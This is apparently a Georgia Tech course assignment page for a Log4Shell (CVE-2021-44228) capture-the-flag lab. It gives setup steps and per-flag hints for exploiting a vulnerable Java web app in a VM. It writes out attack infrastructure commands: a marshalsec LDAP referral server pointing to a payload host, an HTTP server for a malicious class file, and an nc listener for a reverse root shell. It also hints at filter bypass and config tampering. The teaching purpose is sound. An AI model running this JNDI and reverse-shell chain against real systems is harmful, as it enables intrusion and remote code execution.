Welcome!For this assignment you will exploit a real world vulnerability: Log4Shell.This will be a capture-the-flag style project where you will exploit a web application with a vulnerable version of log4j.A correct solution will output a ‘flag’ or ‘key’. There are 7 tasks to complete for 7 total flags. 6 required and 1 extra credit for a possible total of 102%. You will submit these flags in json format to Gradescope for grading in a file named project_log4shell.json.There is a template in the /home/log4j/Desktop/log4shell folder of the VM: project_log4shell.json. Copy this file and fill out the appropriate values for the flags found. Submit this file to Gradescope for immediate feedback with the autograder. Your grade will be reflected here in Canvas after the assignment has closed.You’ll use the same virtual machine you’ve been using. Links to an external site.If you need to redownload the VMLinks to an external site., do it early in case you run into slow downloads.The VM username and password is log4j and HangingGardens_600Go here for project details on the course Github Pages site:https://github.gatech.edu/pages/cs6035-tools/cs6035-tools.github.io/Projects/Log4Shell/Good luck and have fun!Necessary Disclaimer: THIS IS A REAL WORLD CRITICAL VULNERABILITY THAT MOST VENDORS HAVE PATCHED BUT THERE STILL COULD BE APPLICATIONS WITHOUT THE PATCH. THIS PROJECT IS FOR EDUCATIONAL PURPOSES ONLY. ATTEMPTING THIS ON REAL APPLICATIONS COULD PUT YOU IN VIOLATION OF THE LAW AND GEORGIA TECH IS NOT RESPONSIBLE. Log4ShellImportant Disclaimer:This project explores a real-world critical vulnerability (CVE-2021-44228). Any attempt to use these techniques on systems you do not own or have explicit permission to test is illegal and may result in criminal charges. Georgia Tech assumes no responsibility for misuse of this educational material.Learning Goals of this Project:Exploring a real world critical Java exploit in the Log4J logger: Log4ShellBy completing this project, students will:Technical BackgroundLog4J FrameworkLog4J is a widely-used open-source logging framework for Java applications that enables developers to:Java Naming and Directory Interface (JNDI)JNDI provides a standardized way for Java applications to:Lightweight Directory Access Protocol (LDAP)LDAP serves as a communication protocol for:The Vulnerability MechanismThe Log4Shell vulnerability exploits Log4J’s lookup feature, which performs string substitution using the syntax ${prefix:name}. For example:When Log4J processes a malicious JNDI lookup string, it connects to the attacker-controlled server and executes the retrieved code, leading to complete system compromise.Here is a visual of the Log4j exploit and how it is accomplished (you can zoom in if this is too small via ctrl + scroll): Required ResourcesEssential Reading MaterialsVideo ResourcesTechnical DocumentationPractical ExamplesTools and UtilitiesTable of contents Frequently Asked Question(s) (FAQ)Start With:Note: To ensure that the autograder accurately grades your submission, you should create/update your .JSON file in a text editor on the VM and submit from the VM. Do not use a word document program like LibreOffice or Word. The submission must be proper JSON format for the autograder to give credit.VM QuestionsCommon troubleshooting steps for VirtualBox:.Submission and GradescopeFlag Task Hints and QuestionsResolved [org.springframework.web.HttpMediaTypeNotAcceptableException: Could not parse ‘Accept’ header [Java version 1.8.0_20]: Invalid mime type “Java version 1.8.0_20”: does not contain ‘/’] SetupThis setup process requires 4 separate terminal windows running simultaneously. Complete each step in order and keep all terminals active throughout the lab.Step 1: User Authentication and Container StartYou will need to switch users to log in to log4j user via:Credentials can be found in Canvas on the Log4Shell Assignment pageFrom the log4j user’s home directory, start the container:./StartContainer.shSuccess Indicator: Container starts without errors and returns to command prompt.Step 2: Log Monitoring SetupOpen Terminal Window #2 and navigate to the logs directory:cd Desktop/log4shell/logsMonitor application activity using one of these commands:For application logs:tail -f cs6035.logFor console debug output:tail -f console.logSuccess Indicator: You should see log output similar to the image below.**Log Rollover Issue: If logs stop updating, restart the tail command. This happens when log files become too large and rotate to new files.**Step 3: LDAP Reference Server:Open Terminal Window #3 and navigate to the target directory:cd ~/Desktop/log4shell/targetStart the LDAP server:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://172.17.0.1:4242/#Exploit”Critical Configuration Notes:It is very important that this matches the port specified in the Malicious server. If your exploit is not working because it is not connecting to the malicious server, your ports likely do not match OR the vm’s IP is not correct.Success Indicator: Output shows server listening on 0.0.0.0:1389Step 4: Malicious Payload ServerOpen Terminal Window #4 and navigate to your flag-specific directory:python3 -m http.server 4242Your malicious .class file must be served from the directory your server is running in.Port Synchronization: This port (4242) must match the port specified in the LDAP server URL from Step 3.Success Indicator: Server confirms it’s serving HTTP on port 4242.Step 5: Network Traffic Monitoring (Flag 2 Required, Others Optional)Open Terminal Window #5 (if needed) and start a network listener:nc -nlvp Success Indicator: Output shows listener ready on your specified port.Development and DebuggingAdding Debug Output to Your ExploitTo monitor debug statements from your Java exploit code:Setup Verification ChecklistBefore proceeding with exploitation, verify all components are running:Common TroubleshootingConnection Issues Between ServersProblem: Exploit not connecting to malicious serverSolutions:Log Monitoring IssuesProblem: Logs stop updatingSolutions:Server Startup FailuresProblem: LDAP or HTTP server won’t startSolutions:Ready to ProceedOnce all servers are running and verified, you’re ready to begin the exploitation phases. Keep all terminal windows open and active throughout the lab. Introduction FlagOverviewThis introductory exercise will help you understand Log4j fundamentals and verify your exploit environment is working correctly. You’ll learn to identify vulnerable logging patterns and execute your first successful Log4Shell exploit.Understanding Log4j LoggingBasic Log4j StructureLog4j is a logging framework that outputs program information defined by developers. A typical log statement follows this pattern:static Logger log = LogManager.getLogger(RestServlet.class.getName());log.debug(“ApplicationId: {}”, applicationId);Key Components:Log Output AnalysisThe code above produces output like this:Output Breakdown:Log Levels ExplainedLog levels control output verbosity:Current Configuration: This application is set to DEBUG level, showing all message types.Vulnerability IdentificationThe Attack VectorThe vulnerability exists wherever user-controlled input is logged without sanitization. In our example:log.debug(“ApplicationId: {}”, applicationId);The applicationId variable can contain malicious Log4j lookup expressions that will be processed and executed.Initial Application TestingEnvironment VerificationBefore attempting exploits, verify the application responds correctly to normal requests.Required Header: All requests must include the GATECH_ID header.Basic Connectivity TestOpen a new terminal and execute:curl ‘http://localhost:8080/rest/wizards/isAlive’ -H ‘GATECH_ID:123456789’ -H ‘Accept:application/json’Analyzing the ResponseSwitch to your log monitoring terminal to examine the output. Look for:Expected Output:Note: You can zoom in by using ctrl + scrollIdentifying Exploit OpportunitiesFrom the log output, you should see the application logging:First Exploit: Java Version LookupTarget HeadersThe application checks and logs these headers (not all may be exploitable):Constructing the PayloadYour goal is to create a Log4j lookup expression that retrieves the Java version from the server.Executing the ExploitCraft a curl command that includes your malicious payload in one of the target headers. The payload should use Log4j’s lookup syntax to extract system information.Success VerificationIf successful, you should see output similar to:Success Indicator: Look for Java version information in the logs. You may need to scroll up to find the output.Expected Result: The logs should display detailed Java runtime information, confirming successful exploitation.Understanding Your SuccessWhat Just Happened?Security ImplicationsThis demonstrates how Log4Shell can be used for:Next Steps and ExplorationAdditional Lookups to TryExperiment with other Log4j lookup expressions:Important RemindersSave Your Work: Regularly save your progress outside the VM to prevent data loss from system crashes or unexpected issues.TroubleshootingNo Log Output VisibleExploit Not WorkingSuccess ConfirmationYou’ve successfully completed this section when:FLAG 1: Environment Echo (5 pts)OverviewThis exercise builds upon your Log4Shell foundation by targeting environment variables. You’ll use Log4j lookup expressions to extract sensitive configuration data stored in the server’s environment, specifically the ADMIN_PASSWORD variable containing your flag.PrerequisitesRequired CompletionBefore attempting this flag, ensure you have successfully completed:Verification StepsConfirm your environment is ready by checking:Environment SetupContainer InitializationIf not already running, start the vulnerable application:./StartContainer.shImportant: Execute this script from the home directory of the log4j user to ensure proper path resolution.Connectivity VerificationTest the target endpoint to confirm it’s accessible:curl ‘http://localhost:8080/rest/wizards/isAlive’ -H ‘GATECH_ID:123456789’ -H ‘Accept:application/json’Expected Behavior:Understanding Environment VariablesWhat Are Environment Variables?Environment variables are key-value pairs that store configuration data outside the application code. They commonly contain:The ChallengeYour objective is to extract the ADMIN_PASSWORD environment variable, which contains the flag for this exercise.Attack Vector SelectionFrom your intro flag experience, you know that HTTP headers are logged and processed. You’ll need to:Success VerificationWhen successful, you should see log output similar to:Flag FormatLook for the specific message pattern: “Congratulations! Your flag1 is: __________“Submission RequirementsFlag RecordingOnce you’ve successfully extracted the flag:Important RemindersSimplicity Focus: You do not need Java code, LDAP servers, Python scripts, or other complex tools for this flag. The solution uses only curl and Log4j lookup expressions.Header Experimentation: If your first attempt doesn’t work, try different headers.Case Sensitivity: Environment variable names are typically case-sensitive. Ensure you’re using the exact variable name: ADMIN_PASSWORDTroubleshootingNo Flag VisibleExploit Not Working FLAG 2: Get a Shell (5 pts)OverviewThis exercise demonstrates the most dangerous aspect of Log4Shell: remote code execution (RCE). You’ll craft a malicious Java payload that exploits JNDI/LDAP lookups to gain root shell access on the vulnerable server. This represents a critical security breach that could compromise an entire system.PrerequisitesRequired CompletionBefore attempting this flag, ensure you have successfully completed:Essential ReadingCritical: You MUST read through the suggested readings about JNDI lookups before proceeding. Understanding the underlying mechanism is essential for crafting effective payloads.Knowledge RequirementsThis exercise assumes you understand:Understanding the Exploit ChainThe Attack FlowLog4Shell RCE follows this sequence:Why This WorksThe vulnerability exists because:Environment SetupContainer InitializationEnsure the vulnerable application is running:./StartContainer.shConnectivity VerificationTest the target endpoint:curl ‘http://localhost:8080/rest/wizards/isAlive’ -H ‘GATECH_ID:123456789’ -H ‘Accept:application/json’Multi-Terminal SetupYou should have 5 terminal windows open:Java Version VerificationCritical Version RequirementThis exploit requires Java version 1.8.0_20 specifically. Other versions have security patches that prevent JNDI lookups.Version CheckVerify your Java version before proceeding:java -versionExpected Output:Version ImportanceWhy This Matters:Critical Warning: Using the wrong Java version will waste significant time as your exploit will fail silently. Always verify the version first.Payload DevelopmentExploit.java AnalysisNavigate to your Exploit.java file and examine its structure. This file will contain the malicious code that executes when the JNDI lookup occurs.Payload ObjectivesYour Exploit.java should:Debugging CapabilitiesThe environment includes logging support for development.Log File Location: ~/Desktop/log4shell/logs/console.logDebugging Method:System.out.println(“Debug message here”);Monitor your debug output:tail -f ~/Desktop/log4shell/logs/console.logCompilation ProcessWorking DirectoryNavigate to the correct directory:cd Desktop/log4shell/FlagxImportant: Ensure you’re in the correct directory before compilationJava CompilationCompile your exploit code:javac Exploit.javaExpected Result:Success Indicator: This creates Exploit.class in the same directoryCompilation TroubleshootingIf compilation fails:Service CoordinationHTTP Server SetupFrom the directory containing Exploit.class, start your HTTP server:python3 -m http.server 4242Purpose: This serves your malicious Java class to the vulnerable serverPort ManagementCritical: Pay close attention to port numbers throughout this exercise. Mismatched ports are a common failure point.Port Usage:Service VerificationEnsure all services are running:Exploit ExecutionPayload ConstructionCraft a JNDI lookup payload in your attack vector that:Monitoring SuccessWatch for activity across all terminals:Success VerificationExpected Console OutputWhen successful, you should see output similar to:Python server output:LDAP server output:NC output:Shell Access ConfirmationIn your netcat terminal, you should receive a shell connection. Test with:whoamiExpected Response: rootRoot Access AchievedIf you see “root” in response to whoami, congratulations! You have successfully:Flag RetrievalNavigationFrom your root shell, navigate to the flag location:cd ../..Flag ExecutionRun the flag retrieval program:java -jar Flag2.jarExpected Output:Flag SubmissionAdd the retrieved flag to your project_log4shell.json file under the “Flag2” field.Security ImplicationsThis exploit shows how Log4Shell can lead to:Real-World ImpactIn production environments, this level of access could enable:TroubleshootingCommon IssuesNo LDAP/HTTP Server ActivitySymptoms: No requests reaching your serversSolutions:Compilation FailuresSymptoms: javac command fails or produces errorsSolutions:Shell Connection IssuesSymptoms: No reverse shell connection receivedSolutions:Service Coordination ProblemsSymptoms: Partial success but missing componentsSolutions:Debugging StrategyImportant RemindersJava Version Critical: Always verify Java 1.8.0_20 before starting. Wrong versions cause silent failures.Port Coordination: Mismatched ports are the most common failure point. Double-check all port configurations.Debug Logging: Use System.out.println statements liberally to trace execution flow.Multi-Terminal: Keep all four terminals visible to monitor the complete attack chain. FLAG 3: Config.Properties Surprise (25 pts)OverviewThis exercise demonstrates Log4Shell’s ability to manipulate application configuration files in real-time. You’ll exploit the vulnerability to modify a properties file that controls wizard magic powers, showcasing how attackers can alter application behavior through configuration tampering. This represents an attack that combines file manipulation with application logic exploitation.PrerequisitesRequired CompletionBefore attempting this flag, ensure you have successfully completed:Advanced Concepts RequiredThis exercise assumes familiarity with:Environment SetupContainer InitializationEnsure the vulnerable application is running:./StartContainer.shAPI EndpointsThe /wizards/ resource provides these relevant endpoints:GET All Records:curl ‘http://localhost:8080/rest/wizards/wizardList’ -H ‘GATECH_ID:123456789’GET By ID:curl ‘http://localhost:8080/rest/wizards/wizard/’ -H ‘GATECH_ID:123456789’Configuration ArchitectureThe application uses a config.properties file stored in the root directory that:Initial ReconnaissancePerform preliminary reconnaissance to understand the application behavior:Reconnaissance PhaseData Structure AnalysisExecute the list command to examine available wizard records:curl ‘http://localhost:8080/rest/wizards/wizardList’ -H ‘GATECH_ID:123456789’Analysis Objectives:Individual Record InspectionSelect a wizard ID from the list and examine its detailed response:curl ‘http://localhost:8080/rest/wizards/wizard/’ -H ‘GATECH_ID:123456789’Key Observations:Attack Vector IdentificationCritical: Look for unusual or “out of place” variables in the logged output that might serve as attack vectors. These could include:Understanding the Configuration SystemProperties File StructureThe config.properties file contains key-value pairs that control application behavior:Tamper Detection MechanismThe application includes security measures:Attack ObjectiveYour goal is to modify the properties file so that:Security Filter AnalysisSomeone might have tried to roll their own patch and tried to deny requests containing malicious string patterns.This suggests:Filter Bypass StrategiesConsider these approaches:Payload DevelopmentPayload Construction ConsiderationsYour payload must:Injection Point SelectionBased on your reconnaissance, identify where user input is logged and processed. This could be:Testing StrategySuccess VerificationExpected Response BehaviorWhen successful, wizard API responses should show:Flag RetrievalIf successful, you should receive your flag in the house field of the response:Response AnalysisImportant: Error messages in the logs are informational and don’t necessarily indicate exploit failure. Focus on:TroubleshootingCommon IssuesBlank Flag ResponseSymptoms: Flag field appears empty or missingSolution: Restart the container environment:./stopContainer.sh./startContainer.shFilter Bypass FailuresSymptoms: Payload appears blocked or filteredSolutions:Configuration Not PersistingSymptoms: Properties revert to original valuesSolutions:Injection Point IdentificationSymptoms: Unable to locate the attack vectorSolutions:Debugging MethodologySecurity ImplicationsConfiguration Tampering ImpactThis exploit demonstrates:Real-World ConsequencesIn production environments, configuration tampering could enable:Important RemindersReconnaissance Critical: Careful analysis of logged output is essential to identify the attack vector.Filter Awareness: Basic string filtering may be in place – prepare bypass techniques.File Integrity: Maintain all existing properties to avoid tamper detection.Container Reset: If flag appears blank, restart the container environment.GATECH ID Target: Use your GATECH ID as the magicPower value. FLAG 4: Command and Concat (25 pts)OverviewThis exercise demonstrates Log4Shell’s capability for Java deserialization attacks combined with out-of-the-box obfuscation techniques. You’ll exploit a p2p payment endpoint to achieve file creation on the server through malicious object deserialization. The flag name “Command and Concat” provides critical hints about the exploitation technique involving command execution and string concatenation methods.PrerequisitesRequired CompletionBefore attempting this flag, ensure you have successfully completed:Advanced Concepts RequiredThis exercise requires deep understanding of:Understanding Deserialization AttacksWhat is Java Deserialization?Java deserialization converts byte streams back into Java objects. When untrusted data is deserialized, it can lead to:Log4Shell + DeserializationThis attack combines:The Attack ChainThe complete exploit flow involves:Environment SetupContainer InitializationEnsure the vulnerable application is running:./StartContainer.shTarget Analysis: Payment EndpointAPI Endpoint StructureThe vulnerable endpoint accepts payment creation requests:curl -X POST ‘http://localhost:8080/rest/payments/payment’ -H ‘GATECH_ID:123456789’ -H ‘Content-Type:application/json’ –data-raw ‘{“paymentId”:”1″,“amount”:”100″,“payer”: {“id”:”2″,“firstName”:”test”,“lastName”:”test”,“accountNumber”:”321″},“payee”: {“id”:”1″,“firstName”:”test”,“lastName”:”test”,“accountNumber”:”123″},“paymentDateTime”: “2025-03-06T06:00:00.923163”}‘Request AnalysisKey Components:Initial ReconnaissanceExecute the provided curl command to understand baseline behavior:curl -X POST ‘http://localhost:8080/rest/payments/payment’ -H ‘GATECH_ID:123456789’ -H ‘Content-Type:application/json’ –data-raw ‘{“paymentId”:”1″,“amount”:”100″,“payer”: {“id”:”2″,“firstName”:”test”,“lastName”:”test”,“accountNumber”:”321″},“payee”: {“id”:”1″,“firstName”:”test”,“lastName”:”test”,“accountNumber”:”123″},“paymentDateTime”: “2025-03-06T06:00:00.923163”}‘Analysis Objectives:Log Message Format AnalysisCritical: Pay close attention to logged message formats. The hint emphasizes that message formatting is key to exploitation.Look for:Payload Development StrategyFile Creation ObjectiveYour Exploit.java must create a file with these exact specifications:Execution and MonitoringExecute your payload while monitoring:Success VerificationExpected Log OutputUpon successful exploitation, you should see output similar to:Success Indicators:File VerificationThe exploit should create:Flag ExtractionThe flag appears in the log output after successful file creation. Look for flag information in the logged messages following the postPayment method execution.TroubleshootingCommon IssuesNo File CreationSymptoms: Exploit executes but file isn’t createdSolutions:Deserialization FailuresSymptoms: JNDI lookup succeeds but no executionSolutions:Injection Point IssuesSymptoms: Payload doesn’t trigger JNDI lookupSolutions:Blank Flag ResponseSymptoms: Flag field appears emptySolution: Restart the container environment:./stopContainer.sh./startContainer.shDebugging StrategySecurity ImplicationsDeserialization Attack ImpactThis exploit demonstrates:Real-World ConsequencesIn production environments, deserialization attacks enable:Important RemindersExact Specifications: File must be named Ronnie.txt with content TimeToBleed! exactly.Hint Utilization: “Command and Concat” directly indicates the exploitation technique.Log Analysis: Careful examination of log message formats is crucial for finding injection points.Container Reset: If flag appears blank, restart the container environment.FLAG 5: PubSub Override (25 pts)OverviewThis exercise demonstrates Log4Shell’s capability to manipulate application messaging systems through configuration file exploitation. You’ll exploit the vulnerability to redirect publish-subscribe communications to alternative topics, showcasing how attackers can intercept and manipulate real-time messaging infrastructure. This represents an attack that combines configuration tampering with message routing manipulation.PrerequisitesRequired CompletionBefore attempting this flag, ensure you have successfully completed:Advanced Concepts RequiredThis exercise assumes familiarity with:Environment SetupContainer InitializationEnsure the vulnerable application is running:./StartContainer.shTarget EndpointThe user update endpoint that triggers the messaging system:PUT User Update:curl -X PUT ‘http://localhost:8080/rest/users/user’ -H ‘GATECH_ID:123456789’ -H ‘Content-Type:application/json’ –data-raw ‘{“id”:8,”userId”:”2134″,”userName”:”RSANCHEZ1″,”userRole”:”R&D”,”adminYN”:”Y”}’Configuration ArchitectureThe application uses a config.properties file that:Understanding the Messaging SystemPubSub ArchitectureThe application implements a publish-subscribe pattern where:Configuration IntegrationThe config.properties file contains:Attack ObjectiveYour goal is to:Reconnaissance PhaseLog Analysis PreparationCritical Hint: Look through the cs6035.log to find clues about what this other topic could be.Execute the user update command while monitoring logs:curl -X PUT ‘http://localhost:8080/rest/users/user’ -H ‘GATECH_ID:123456789’ -H ‘Content-Type:application/json’ –data-raw ‘{“id”:8,”userId”:”2134″,”userName”:”RSANCHEZ1″,”userRole”:”R&D”,”adminYN”:”Y”}’Log Output AnalysisAnalysis Objectives:Message Flow InvestigationMonitor the application logs for:Configuration Manipulation StrategyBased on previous properties file exploitation knowledge:Payload Development StrategyFile Creation ObjectiveYour exploit must:Execution and MonitoringTesting MethodologySuccess VerificationExpected Log OutputUpon successful exploitation, you should see output similar to:Verification StepsSuccess IndicatorsTroubleshootingCommon IssuesBlank Flag ResponseSymptoms: Flag field appears empty or missingSolution: Restart the container environment:./stopContainer.sh./startContainer.shTopic Discovery DifficultiesSymptoms: Unable to identify alternative topics in logsSolutions:Properties File CorruptionSymptoms: Application errors after exploitation attemptSolutions:Message Publishing FailuresSymptoms: No messages appear in logs after user updateSolutions:Debugging MethodologySecurity ImplicationsMessage Routing ManipulationThis exploit demonstrates:Real-World ConsequencesIn production environments, PubSub manipulation could enable:Enterprise Messaging SecurityConsider the broader implications:Important RemindersLog Analysis Critical: Careful examination of cs6035.log is essential to discover alternative topics.GATECH_ID Requirement: Ensure your GATECH_ID is appropriately included in the published message account number field for valid flag generation.Container Reset: If flag appears blank, restart the container environment using the provided scripts.Properties Integrity: Maintain existing properties structure to avoid application errors.Message Monitoring: Watch the complete message publishing sequence to verify successful exploitation. FLAG 6: Restful Data (15 pts)OverviewThis exercise demonstrates Log4Shell’s capability to exploit data persistence layers through malicious record injection. Unlike previous flags that focused on real-time request processing (“data in transit”), this challenge explores “data at rest” exploitation where malicious payloads are stored in databases and triggered during subsequent data retrieval operations. This represents a persistence attack that combines database manipulation with delayed payload execution.PrerequisitesRequired CompletionBefore attempting this flag, ensure you have successfully completed:Advanced Concepts RequiredThis exercise assumes familiarity with:Environment SetupContainer InitializationEnsure the vulnerable application is running:./StartContainer.shWizards API EndpointsThe /wizards/ resource provides comprehensive CRUD operations:GET All Records:curl ‘http://localhost:8080/rest/wizards/wizardList’ -H ‘GATECH_ID:123456789’GET By ID:curl ‘http://localhost:8080/rest/wizards/wizard/’ -H ‘GATECH_ID:123456789’GET By House:curl ‘http://localhost:8080/rest/wizards/wizard?house=exampleHouse’ -H ‘GATECH_ID:123456789’POST Create/Update:curl -X POST ‘http://localhost:8080/rest/wizards/wizard’ -H ‘GATECH_ID:123456789’ -H ‘Content-Type: application/json’ -d ‘{“name”: “wizard”,“wand”: “occulus”,“magicPower”: “skill”,“powerLevel”: 1,“house”: “maxwell”}’Database ArchitectureThe application uses an in-memory database that:Understanding Data at Rest ExploitationAttack Vector DistinctionData at Rest vs. Data in Transit:Database Persistence StrategyThe exploitation process involves:Target ConfigurationSimilar to previous flags, you must:Reconnaissance PhaseInitial Data Structure AnalysisExamine the existing wizard structure:curl ‘http://localhost:8080/rest/wizards/wizardList’ -H ‘GATECH_ID:123456789’Analysis Objectives:Endpoint Behavior InvestigationTest each endpoint while monitoring logs to understand:Log Output Pattern AnalysisCritical: You will need to inspect logs for each of the endpoints to come up with a successful attack strategy.Monitor application logs during:Attack Vector DevelopmentMalicious Record DesignYour malicious wizard record must:Field Selection StrategyConsider which wizard fields are most likely to:Payload Construction ConsiderationsHint: The obfuscation technique in this flag will be different than previous ones. Try out the KISS approach on this.Payload Development GuidelinesSimple Payload ConstructionFollowing the KISS principle, start with basic Log4j syntax:Database Persistence VerificationEnsure your malicious record:Success VerificationExpected Log OutputUpon successful exploitation, you should see output similar to:Verification SequenceSuccess IndicatorsTroubleshootingCommon IssuesBlank Flag ResponseSymptoms: Flag field appears empty or missingSolution: Restart the container environment:./stopContainer.sh./startContainer.shNote: This will delete all persisted records due to in-memory databasePayload Not TriggeringSymptoms: Malicious record created but no LDAP callback occursSolutions:Record Persistence FailuresSymptoms: Malicious record not successfully storedSolutions:Configuration Update FailuresSymptoms: LDAP callback occurs but config.properties not updatedSolutions:Debugging MethodologySecurity ImplicationsData Persistence Attack VectorsThis exploit demonstrates:Real-World ConsequencesIn production environments, data at rest exploitation could enable:Database Security ImplicationsConsider the broader impact on:Important RemindersData at Rest Requirement: This flag specifically requires a data at rest approach – data in transit methods will not work.KISS Principle: Use simple, straightforward payload construction rather than complex obfuscation techniques.Database Reset: Container restart will delete all records due to in-memory database architecture.Log Inspection Critical: Carefully analyze logs from each endpoint to identify successful trigger points.Wizard ID Tracking: Note the assigned wizard ID for proper config.properties update. FLAG 7 (Extra Credit): SQL Attack Authorization Persuasion (2 Pts)OverviewThis extra credit exercise represents a unique database exploit through log4shell. Unlike traditional SQL injection attacks that exploit application queries, this challenge requires using Log4Shell to execute arbitrary code that directly manipulates the database at the system level. You’ll demonstrate persistence techniques by injecting a malicious user record that bypasses application authorization controls, showcasing how Log4Shell can be weaponized for privilege escalation and access control circumvention.PrerequisitesRequired CompletionBefore attempting this flag, ensure you have successfully completed:Advanced Concepts RequiredThis exercise assumes mastery of:Environment SetupContainer InitializationEnsure the vulnerable application is running:./StartContainer.shTarget Endpoint AnalysisThe user deletion endpoint that enforces admin authorization:DELETE User by ID:curl -X “DELETE” ‘http://localhost:8080/rest/users/user/’ -H “GATECH_ID:123” -H “X-NetworkUserId:MWAD10”Authorization ArchitectureThe application implements strict access controls where:User List InspectionExamine existing users for authorization testing:curl ‘http://localhost:8080/rest/users/all’ -H ‘GATECH_ID:123456789’Understanding the Attack ChallengeNon-Traditional SQL AttackCritical Distinction: This is NOT a typical SQL injection attackLog4Shell Execution ContextKey Constraint: Log4shell does not allow you to interact with the program’s state itself, only execute arbitrary code at the level of access the vulnerable program itself is running on.This means:Attack Objective RequirementsYou must create a user with specific attributes:Reconnaissance PhaseDatabase Information GatheringCritical Hint: Look in the logs for information on the database, the schema, and what could be useful for this attack.Analyze application logs for:Log File Analysis StrategySystematic Log Examination Required:Schema Discovery ObjectivesLook for information about:Attack Vector DevelopmentMulti-Stage Attack StrategyHint 2: You will need to leverage one of the previous flags’ curls to get the keys to unlock this flag.Java Standard Library ExploitationConstraint: You will not need anything outside the java standard library for this attack.Focus on Java built-in capabilities:Direct Database Manipulation StrategySince traditional SQL injection won’t work:Technical Implementation ConsiderationsDatabase Connection StrategiesDepending on discovered database type:User Record ConstructionEnsure proper record format:Success VerificationExpected Log OutputUpon successful exploitation, you should see output similar to:Verification SequenceSuccess IndicatorsTroubleshootingCommon IssuesDatabase Access FailuresSymptoms: Unable to establish database connection or accessSolutions:User Insertion FailuresSymptoms: EDBOY user not created or missing required attributesSolutions:Authorization Still FailingSymptoms: DELETE operation still denied despite EDBOY creationSolutions:Flag Generation IssuesSymptoms: Authorization succeeds but no flag appearsSolutions:Debugging MethodologySecurity ImplicationsAdvanced Persistence TechniquesThis exploit demonstrates:Real-World ConsequencesIn production environments, this attack could enable:Enterprise Security ImplicationsConsider the broader impact on:Important RemindersLog Analysis Critical: Thorough examination of both log files is essential to discover database configuration and schema information.Java Standard Library Only: Use only built-in Java capabilities for database manipulation – no external libraries required.Previous Flag Integration: Leverage techniques from previous flags as delivery mechanisms for this advanced payload.Exact User Attributes: EDBOY user must have precise userName, userRole, and adminYN values as specified.GATECH_ID Requirement: Ensure your GATECH_ID is appropriately included for valid flag generation.System-Level Thinking: This requires direct database manipulation, not traditional application-level SQL injection. FLAG 8 (Extra Credit): Pen Testing Challenge (2 pts)OverviewThis extra credit exercise represents the ultimate Log4Shell penetration testing challenge. Unlike previous flags that provided specific attack vectors and detailed guidance, this challenge simulates real-world penetration testing where attackers must discover vulnerabilities through systematic reconnaissance and creative exploitation. You’ll demonstrate mastery of all previous techniques while developing the critical thinking and methodical approach essential for professional security assessment.PrerequisitesRequired CompletionBefore attempting this flag, ensure you have successfully completed:Advanced Concepts RequiredThis exercise assumes complete mastery of:Environment SetupContainer InitializationEnsure the vulnerable application is running:./StartContainer.shAvailable Attack SurfacesYou have access to all previously explored endpoints and techniques:Endpoint Selection FreedomCritical Note: You can choose to use whichever one you prefer.This means:Understanding the Pen Testing ChallengeReal-World SimulationThis challenge simulates authentic penetration testing where:Discovery-Based MethodologyKey Challenge: The attack vector will not be given and you might even need to use a couple steps to reveal the attack vector.This requires:Information Gathering PriorityCritical Requirement: Pay very close attention to every log message, hint, error, etc as it will be vital to figuring out the sequence of events.Focus on:Reconnaissance MethodologySystematic Endpoint AnalysisSince no specific attack vector is provided, systematically analyze all available endpointsLog Analysis StrategyComprehensive Log Monitoring Required:Hidden Functionality DiscoveryLook for indicators of:Professional Pen Testing ApproachSystematic Testing MethodologyDocumentation and TrackingMaintain detailed records of:Persistent InvestigationWhen initial attempts fail:Success VerificationSuccess IndicatorsVerification ProcessSubmissionFor this flag, you will need to append your “key” to the generated flag hash in the following format.“flag8”: “fullKey:a703a52cb1c6d955c1e521fbd8c9c0af393ef94aa2a922a680c8a12ab16daa4d”TroubleshootingCommon ChallengesAttack Vector Not ObviousSymptoms: Unable to identify clear exploitation opportunitiesSolutions:Multi-Stage Attack ConfusionSymptoms: Partial success but unable to complete exploitationSolutions:Log Analysis OverwhelmSymptoms: Too much information to process effectivelySolutions:Flag Generation FailuresSymptoms: Exploitation attempts don’t generate expected flagSolutions:Debugging MethodologySecurity ImplicationsWhat You’ve DemonstratedProfessional Penetration Testing SkillsThis challenge demonstrates:Real-World Penetration TestingThe skills developed here directly apply to:Advanced Attack SophisticationConsider the implications of:Important RemindersNo Guidance Provided: This challenge intentionally provides no specific attack vector – discovery is part of the exercise.Multi-Stage Possibility: Be prepared for attacks requiring multiple steps or techniques in sequence.Every Detail Matters: Pay close attention to all log messages, errors, and subtle behavioral changes.Systematic Approach: Use professional penetration testing methodology for comprehensive coverage.GATECH_ID Integration: Ensure your GATECH_ID is properly included in the final exploitation chain.Documentation Critical: Maintain detailed records of your discovery and exploitation process.Persistence Required: Real penetration testing requires methodical investigation and creative thinking. Project Submission InstructionsSubmission PlatformThis project must be submitted through Gradescope for automated grading.Access Gradescope:Grading InformationImportant: Always verify your intended submission is marked as “active” before the deadline.File PreparationRequired File FormatCreate a file named project_log4shell.json containing your collected flags in proper JSON format.Template LocationA pre-formatted template is available at:~/Desktop/log4shell/project_log4shell.jsonRecommended Text EditorsUse only plain text editors:Critical: Do NOT use LibreOffice, Microsoft Word, or any rich text editors. These applications introduce special characters that will cause the autograder to fail.JSON File StructureTemplate Format{“flag1”: “”,“flag2”: “”,“flag3”: “”,“flag4”: “”,“flag5”: “”,“flag6”: “”,“flag7”: “”}Completed Example{“flag1”: “4ec60c3e084d8387f0f33916e9b08b99d5264a486c29130dd4a5a530b958c5c0f1faeaca2ce30b478281ec546a4729f629b531a86cb27d86c089f0c542”,“flag2”: “f496d9514c01e8019cd2bc21edfeb8e33f4a29af14a8bf92f7b3c14b5e06c5c0f1faeaca2ce30b478281ec546a4729f629b531a86cb27d86c089f0c442”,“flag3”: “b621bba0bb535f2f7a222bd32994d3875bcfcad651160c543de0a01dbe2e0c5c0f1faeaca2ce30b478281ec546a4729f629b531a86cb27d86cf0c49542”,“flag4”: “b34235hjghg34g23g4uy23g4yg12h1j2g4f12hj4gj1h2g4g12h4g12h4ghj12g4jh1g24khj1g24jhg1k4gh1h24g1j24h1g24hjg124hg12k4hg1hj4gj1h2”,“flag5”: “6kj2348932ur98wef89yawfsf89asdyf87adtsguihasidogy87dsghiausdyg87adshgo87dshg9ueg90ojawoeigj9we8ye8t9yqwethijkfdjfa98y89eje”,“flag6”: “5g87a8d9sg7a0sd98g79asd87g890as7dg8sadg7ads908gydsiayhgkjtj4tk535j3lk4523j23j4c698ddd5f6a5df67b6xc6vzx786vzx5cv87v8z69xv76”,“flag7”: 